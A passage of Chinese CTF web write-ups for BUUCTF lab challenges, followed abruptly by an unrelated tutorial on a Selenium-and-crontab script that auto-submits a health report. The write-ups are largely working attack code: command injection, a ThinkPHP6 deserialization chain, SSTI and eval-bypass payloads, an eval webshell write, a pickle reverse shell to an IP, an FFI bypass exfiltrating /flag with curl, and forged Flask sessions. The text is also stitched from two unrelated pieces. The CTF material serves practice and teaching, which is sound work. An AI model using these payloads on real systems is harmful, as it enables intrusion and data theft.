$comm2 = '"' . $comm2 . '"'; $cmd = "file $comm1 $comm2"; system($cmd); ?>没什么好说的，直接拼接就行payload?comm1=index.php";tac%20/fl*;"&comm2=1[安洵杯 2019]iamthinkingwww.zip下载源码找到控制器<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { echo " "; $paylaod = @$_GET['payload']; if(isset($paylaod)) { $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value) { if(preg_match("/^O/i",$value)) { die('STOP HACKING'); exit(); } } unserialize($paylaod); } } } 猜测是tp6的反序列化poc如下<?php namespace think\model{ use think\Model; class Pivot extends Model{ } } namespace think{ abstract class Model{ private $lazySave = true; protected $withEvent = false; private $exists = true; private $force = true; private $data = array("q"=>"whoami"); protected $schema = array(); protected $name; protected $visible = array("q"=>1); private $withAttr = array("q"=>"system"); public function setName($newName){ $this->name=$newName; } } } namespace{ use think\model\Pivot; $a=new Pivot(); $b=new Pivot(); $a->setName($b); echo urlencode(serialize($a)); } 但要先绕过parse_urlparse_url小结parse_url函数在解析url的时候存在bug，通过///x.php?key=value的方式将返回false，此时将不再进入foreach循环进行判断payload:http://e180bf73-baf1-43d5-984c-62e7e1fb98c9.node4.buuoj.cn:81///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00name%22%3BN%3Bs%3A10%3A%22%00%2A%00visible%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bi%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bi%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bs%3A6%3A%22system%22%3B%7D%7D[网鼎杯 2020 青龙组]filejavajavaweb正在学习中，java的题先放着[CISCN2019 总决赛 Day1 Web4]Laravel1看到题目就有种不好的预感，不会是Laravel的反序列化吧看了眼wp，果然。。。刚审完tp6的反序列化，审不动了。。。先放着吧话说能独立做出这种题目的师傅一定都有cnvd吧[CISCN2019 华东北赛区]Web2buu的xss平台注册不了，只能看看wp了看了看题目，投稿处应该是要xss，但会把()替换为（），可以实体编码绕过，但是我看他有csp 网上各种wp也没提到csp，且都提到把(new Image()).src改成window.location.href但不说原因，后来看到赵总的wp，提到csp用跳转绕过，大致原理为：这里csp规则不算比较严格。因为'unsafe-inline' 'unsafe-eval'允许我们加载一段内联js代码执行。而解决这个的办法只需使用window.location.href就可绕过。最后payload长这样 不太明白为什么要加个 MD5的话爆破即可<?php for($str = 1;$str<10000000;$str++){ if(substr(md5($str), 0, 6) === 'cd6173'){ echo $str; break; } }提交后拿到cookie登陆admin.php，最后普通的联合注入拿flag话说网上的wp都是无脑复现是吧，都不知道每一步的原理是啥，为什么要这样写，只是机械的照搬payload，服了[NESTCTF 2019]Love Math 2<?php error_reporting(0); //听说你很喜欢数学，不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 60) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }[CISCN 2019 初赛]Love Math的进阶版，删除了base_convert和dechex，因此需要一个完全不同的思路，这里要用异或<?php $payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; if($exp == '_G'){ echo($payload[$k]."^$i$j"."==>$exp"."\n"); }elseif($exp == 'ET'){ echo($payload[$k]."^$i$j"."==>$exp"."\n"); } } } }可以看到有我们想要的_GET，也就是("is_nan"^"64").("tan"^"15")，但是题目还过滤了引号，因此最终长这样(is_nan^(6).(4)).(tan^(1).(5))，我也不知道为啥，反正没有引号的情况下只有这样能成功异或因此payload如下：?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flagget方法的[]可以用{}替代，$pi{0}($pi{1})即$_GET{0}($_GET{1})总的来看就是system(cat /flag)[watevrCTF-2019]Pickle StorePython的反序列化，session可以base64后用pickle反序列化出来，因此可以利用pickle反序列漏洞来反弹shell，要注意的是buu不出网，所以要用小号开个靶机然后ifconfig查看ip地址，反弹shell就是弹到这里exp如下import base64 import pickle class A(object): def __reduce__(self): return (eval, ("__import__('os').system('nc 174.0.0.223 9999 -e/bin/sh')",)) a = A() print( base64.b64encode( pickle.dumps(a) ) )生成后替换session但是我并没有成功。。。[RootersCTF2019]ImgXweb首先注册登录，进来后是个上传页面那么抓包测试能上传php，但不解析，同时发现session_id是jwt，也许是要伪造admin，那就需要一个secretkey这题有robots.txt，里面有static/secretkey.txt，访问得到secretkey，那就简单了替换jwt，成功以admin，把flag.png下下来记事本打开就有flag[HarekazeCTF2019]Easy Notes先登陆，需要admin才能拿到flag，看一下源码flag.php Get flag <?php if (is_admin()) { echo "Congratulations! The flag is: " . getenv('FLAG') . ""; } else { echo "You are not an admin :("; } ?> lib.phpfunction is_admin() { if (!isset($_SESSION['admin'])) { return false; } return $_SESSION['admin'] === true; }export.php<?php ... $filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type; $filename = str_replace('..', '', $filename); // avoid path traversal $path = TEMP_DIR . '/' . $filename; ...当我们导出笔记是时候文件名为get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;，那么如果我们的用户名为sess_，type为.那么最后生成的文件不就是sess_xxxxxxxxx这样的session文件吗，而文件的内容是可控的，那就可以伪造session了一般session引擎默认是php，也就是键名 + 竖线 + 经过serialize()函数序列化处理的值因此在title处构造|N;admin|b:1;（|N;为了满足前面的键值，然后分号分隔开）导出时抓包，将type改为.，得到文件sess_-15e9ef6e47ebfe2b，然后将PHPSESSID改为-15e9ef6e47ebfe2b就能得到flag[PASECA2019]honey_shop二话不说，先抓包，没啥东西，但是session看着很眼熟，比较可疑，如果熟悉flask的师傅应该已经看出来这是flask的session了再来看看图片下载功能，抓包发现可以任意文件下载，读取查看当前进程/proc/self/cmdline发现app.py，但是没有权限读取，那获取当前程序运行时候的环境变量/proc/self/environ，发现SECRET_KEY，基本确定是flask了，可以脚本解密session修改金额，替换session即可不过这里这个工具感觉有点坑我，我加密时SECRET_KEY用单引号包裹，最后生成是session有问题，但双引号包裹就没问题，不知道什么原因[BSidesCF 2019]Pick Tac Toe查看源码是要post提交数据，玩赢这个游戏就行，但这题是在太卡了，提交没反应。。。。[WMCTF2020]Make PHP Great Again 2.0<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }跟当时的1.0一样PHP最新版的小Trick， require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含/proc/self指向当前进程的/proc/pid/，/proc/self/root/是指向/的符号链接payload?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.phpphp源码分析 require_once 绕过不能重复包含文件的限制应该是修复了利用session.upload_progress进行session文件包含的非预期virink_2019_files_share查看源码，发现uploads目录，点击preview抓包，发现可以任意文件下载[GWCTF 2019]你的名字好久没做题了，康复一下这题贼狗，报错界面是PHP，但实际上是用Python写的，出题人说从从返回头可以看出是python，额，我看不出来过滤了{{}}，用{%%}黑名单用字符串拼接绕过name={% print lipsum.__globals__['__bu'+'iltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read() %}黑名单如下 blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','local','self','item','getitem','getattribute','func_globals','config'] for no in blacklist: while True: if no in s: s =s.replace(no,'') else: break return s实际上有逻辑漏洞，比如claconfigss这样绕过，最后是class[BSidesCF 2020]Hurdles以前那种简单web题的究极进化版用burp比较方便，但推荐用curl，可以熟悉一下用法curl http://node4.buuoj.cn:25937/hurdlesput访问-Xcurl -X PUThttp://node4.buuoj.cn:25937/hurdlescurl -X PUThttp://node4.buuoj.cn:25937/hurdles/!get参数curl -X PUThttp://node4.buuoj.cn:25937/hurdles/!?get=flag然后要传参数名为&=&=&的参数，url编码一下，这里windows下的curl不行，得linuxcurl -X PUT 'http://node4.buuoj.cn:25937/hurdles/!?get=flag&%26%3D%26%3D%26=1'然后有个坑点乍一看以为要求的参数值为%00，实际上后面还有个换行符，所以是%00换行，url编码后传参curl -X PUT 'http://node4.buuoj.cn:25937/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a'接下来要设置服务器认证的用户名-ucurl -X PUT 'http://node4.buuoj.cn:25937/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:123456'在burp中的话,http头添加Authorization: Basic cGxheWVyOjEyMzQ1Ng==接着密码MD5加密curl -X PUT 'http://node4.buuoj.cn:25937/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b'然后-A设置浏览器及版本curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337'curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000'-H设置xffcurl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:127.0.0.1'还需要另外的代理这就要说一下xff的格式了，xff实际上可以有多个ip的X-Forwarded-For: client1, proxy1, proxy2, proxy3最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求，就把请求来源IP地址添加到右边。 在上面这个例子中，这个请求成功通过了三台代理服务器：proxy1, proxy2 及 proxy3。请求由client1发出，到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时，XFF是空的，请求被发往proxy1；通过proxy1的时候，client1被添加到XFF中，之后请求被发往proxy2;通过proxy2的时候，proxy1被添加到XFF中，之后请求被发往proxy3；通过proxy3时，proxy2被添加到XFF中，之后请求的的去向不明，如果proxy3不是请求终点，请求会被继续转发因此这里为curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:1.2.3.4,127.0.0.1'然后curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1'接着-b设置cookiecurl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -b 'Fortune=1'然后需要2011年的RFC数量我没搜到，看wp是6265curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -b 'Fortune=6265'然后设置MIME为textcurl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'Accept:text/plain' 然后设置语言curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'Accept:text/plain' -H 'Accept-Language:ru'然后设置curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'Accept:text/plain' -H 'Accept-Language:ru' -H 'origin:https://ctf.bsidessf.net'设置来源curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'Accept:text/plain' -H 'Accept-Language:ru' -H 'origin:https://ctf.bsidessf.net' -H 'referer:https://ctf.bsidessf.net/challenges'最后返回了Congratulations，但是没有flag，猜测在http头，-i显示http头curl -X PUT 'http://node4.buuoj.cn:27751/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 v.9000' -H 'X-Forwarded-For:13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'Accept:text/plain' -H 'Accept-Language:ru' -H 'origin:https://ctf.bsidessf.net' -H 'referer:https://ctf.bsidessf.net/challenges' -i[羊城杯 2020]Easyphp2首先伪协议读取源码因为过滤了base64，所以换用quoted-printable-encode?file=php://filter/convert.quoted-printable-encode/resource=GWHT.php count is here <?php ini_set('max_execution_time', 5); if ($_COOKIE['pass'] !== getenv('PASS')) { setcookie('pass', 'PASS'); die(' '.'<hacker>'.' '.' '.' '.'404'.' '.' '.'Sorry, only people from GWHT are allowed to access this website.'.'23333'); } ?> A Counter is here, but it has someting wrong <?php if (isset($_GET["count"])) { $count = $_GET["count"]; if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){ die('hacker!'); } echo " The Count is: " . exec('printf \'' . $count . '\' | wc -c') . " "; } ?> 首先需要设置cookie，这里要靠猜，cookie为GWHT然后是命令执行?file=GWHT.php&count='|whoami||'尝试写马?file=GWHT.php&count='|echo%20'<?=eval($_POST[1])?>'>1.php||'蚁剑连接在/GWTH/README中发现password的hash，解密后为GWHTCTFflag为于/GWHT/system/of/a/down/下，但是没有权限查看显然需要切换用户，密码已经知道了，用户名的话基本也能猜到，就是GWHTprintf 'GWHTCTF' | su GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'这种写法一时间没看明白，因为是非交互模式，切换用户应该就是这么写[羊城杯 2020]Blackcat提示说听歌，所以把mp3下载下来，winhex打开发现代码<?php if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄÎ²°Í£¡'); } $clandestine = getenv("clandestine"); if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine); if($hh !== $_POST['Black-Cat-Sheriff']){ die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖÐ°ÐÐÄµÄ×Óµ¯¡£'); } echo exec("nc".$_POST['One-ear']);考察hash_hmachash_hmac($algo, $data, $key)当传入的$data为数组时，加密得到的结果固定为NULL；因此可以让White-cat-monitor为数组，这样$hh在加密时秘钥就是NULL，结果可控flag在环境变量里[RCTF 2019]Nextphp<?php if (isset($_GET['a'])) { eval($_GET['a']); } else { show_source(__FILE__); }估计是绕disable_functions先连蚁剑/?a=eval($_POST[1]);试了一下上传so文件来绕过，发现不行发现有个preload.php<?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ]; private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { throw new \Exception('No implemented'); } }这里要用到FFIFFI是PHP的一个扩展，可以调用c的库wpexp<?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => 'int system(char *command);' ]; private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); } // public function __serialize(): array { // return $this->data; // } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } // public function __construct () { // throw new \Exception('No implemented'); // } } $a = new A(); echo base64_encode(serialize($a));如果我们要调用C标准库里面的system函数（先不考虑PHP自己实现了system函数），我们就使用cdef去加载，cdef会把存放system函数功能的动态链接库libc加载到内存里面，这样PHP的进程空间里就有了这个system，这也是disable_functions里面过滤了system函数，但是结果的payload里面仍然还使用了system的原因，因为我们是加载c库函数中的system函数的执行的过程：传入$a之后，进行unserialize反序列化，然后因为php7.4的更新，会找__unserialize()函数，然后执行run()函数，然后data['ret']=FFI::cdef('int system(char *command);')，然后使用从C库中加载的system函数/?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('curl -d @/flag ip:2233');[watevrCTF-2019]Supercalcssti+flask_session伪造首先1/0会报错然后ssti用注释绕过1/0#{{config}}得到SECRET_KEY替换sessionpython flask_session_cookie_manager3.py encode -t "{\"history\ ": [{\"code\": '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}" -s "cded826a1e89925035cc05f0907855f7"注意这个工具不要用单引号注意这个工具不要用单引号注意这个工具不要用单引号[FBCTF2019]Eventevent_important参数存在ssti__class__.__init__.__globals__[app].config得到SECRET_KEY:fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y替换cookie拿到flagfrom flask import Flask from flask.sessions import SecureCookieSessionInterface app = Flask(__name__) app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) @app.route('/') def index(): print(session_serializer.dumps("admin")) index() 就是不知道这个加密cookie的exp是怎么来的，也许是flask的固定姿势?[网鼎杯 2020 玄武组]SSRFMeredis主从复制getshell<?php function check_inner_ip($url) { $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } if(isset($_GET['url'])){ $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } } else{ highlight_file(__FILE__); } // Please visit hint.php locally. ?>第一步0.0.0.0绕过?url=http://0.0.0.0/hint.php<?php if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ highlight_file(__FILE__); } if(isset($_POST['file'])){ file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']); }乍一看是逃逸exit，但好像没有写入权限，实际上是打redis，这里已经告诉了密码是root访问?url=dict://0.0.0.0:6379然后就是主从复制getshell，但我搞了半天没搞出来，一直提示ERR unknown command system.exec，用vps不行，用buu靶机也不行，裂开wp
准备selenium模块，chrome,对应chrome版本的chromedriver，一台服务器脚本功能首先在登录页面登录，然后点击提交健康报告的链接跳转到提交页面，最后点击提交按钮，成功后再点击确认。代码首先放上完整代码from selenium import webdriver import time username = 'xxx' #你的用户名 password = 'xxx' #你的密码 url = 'xxx' #你的签到网站 driver = webdriver.Chrome() driver.get(url) #控制浏览器打开url time.sleep(3) #等待页面加载3秒，很重要 driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/li[1]/div[2]/input').send_keys(username) #找到username位置，并把用户名输进去 driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/li[2]/div[2]/input').send_keys(password) #找到password位置，并把密码输进去 driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/button').click() #点击登录按钮 time.sleep(3) #等待页面加载3秒，很重要 driver.find_element_by_xpath('/html/body/div[1]/div[3]/div/ul/li[2]/a').click() #点击提交健康报告的链接 time.sleep(3) #等待页面加载3秒，很重要 driver.find_element_by_xpath('/html/body/div[1]/div[3]/div[2]/div[2]/button').click() #点击提交按钮 time.sleep(3) #等待页面加载3秒，很重要 driver.find_element_by_xpath('/html/body/div[4]/div[3]/a').click() #点击确认按钮 driver.close() #关闭浏览器注意点先说我觉得最重要的一点time.sleep(3) #等待页面加载3秒，很重要等待加载很重要！等待加载很重要！等待加载很重要！重要事情说3遍！不加这句代码可能会导致页面没加载出来就去定位元素，结果当然是找不到元素，而你还不知道到底哪里出问题了（别问我怎么知道的，说多了都是泪(ノ｀Д´)ノ）然后解释下这个driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/li[1]/div[2]/input').send_keys(username)这是根据xpath路径找到对应的元素，中间双引号里的东西就是xpath路径下面以chrome为例演示如何找到xpath路径在网页输入框点击右键->检查然后Copy XPath或Copy full XPath按钮和链接位置也是通过这样定位改进上述脚本的运行是有界面模式，就是运行是会跳出浏览器界面然后进行一系列操作，而现在我们需要一个无界面模式运行的脚本，这样才能放在服务器上定时运行，从而真正实现自动提交功能。所以对脚本稍作改进。from selenium import webdriver from selenium.webdriver.chrome.options import Options import time username = 'xxx' password = 'xxx' url = 'xxx' chrome_options = Options() chrome_options.add_argument('--no-sandbox') chrome_options.add_argument('window-size=1920x3000') chrome_options.add_argument('--disable-gpu') chrome_options.add_argument('--hide-scrollbars') chrome_options.add_argument('blink-settings=imagesEnabled=false') chrome_options.add_argument('--headless') driver=webdriver.Chrome(options=chrome_options) driver.get(url) time.sleep(3) driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/li[1]/div[2]/input').send_keys(username) driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/li[2]/div[2]/input').send_keys(password) driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/ul/button').click() time.sleep(3) driver.find_element_by_xpath('/html/body/div[1]/div[3]/div/ul/li[2]/a').click() time.sleep(3) driver.find_element_by_xpath('/html/body/div[1]/div[3]/div[2]/div[2]/button').click() time.sleep(3) if driver.find_element_by_xpath('/html/body/div[4]/div[3]/a'): driver.find_element_by_xpath('/html/body/div[4]/div[3]/a').click() print("success") driver.close()运行没问题，接下来就是对服务器的一些操作了定时运行首先服务器也得装好这一系列环境（selenium模块，chrome,对应chrome版本的chromedriver）然后脚本放到服务器上后再对其中的一行代码修改一下把下面这行 driver=webdriver.Chrome(options=chrome_options) 改为 driver=webdriver.Chrome(r'/root/chromedriver',options=chrome_options) 其中/root/chromedriver是chromedriver在服务器中的路径，比如我装在root目录下，所以就是/root/chromedriver最后一步，通过crontab命令设定定时任务crontab -e #进入编辑命令格式为* * * * * python路径 脚本路径比如我的就是01 0 * * * /usr/bin/python /www/wwwroot/submit/submit.py #代表每天00:01运行这个脚本编辑完后，Ctrl+O和Ctrl+X保存并退出，退出后可以用crontab -l查看定时任务ps:没有服务器的小伙伴可以用windows的定时任务，不过这样电脑就得一直开着了，这里我不再阐述结尾脚本很简单，但作为一个连python都不大会的小菜鸡第一次搞这个，出现了好多问题，可又不知道错哪了，怎么改，卡了好久，每一步都搞的很艰难，好在功夫不负有心人，没日没夜搞了几天后终于成功了（好吧，稍微夸张了一点，但确实搞挺久的）此脚本应该能适用于大部分网站，大家在使用的时候只需要照着这模板修修改改xpath就行了。觉得不错的话帮我github上点个星星吧o(〃‘▽’〃)ohttps://github.com/xiaolong22333/autosubmit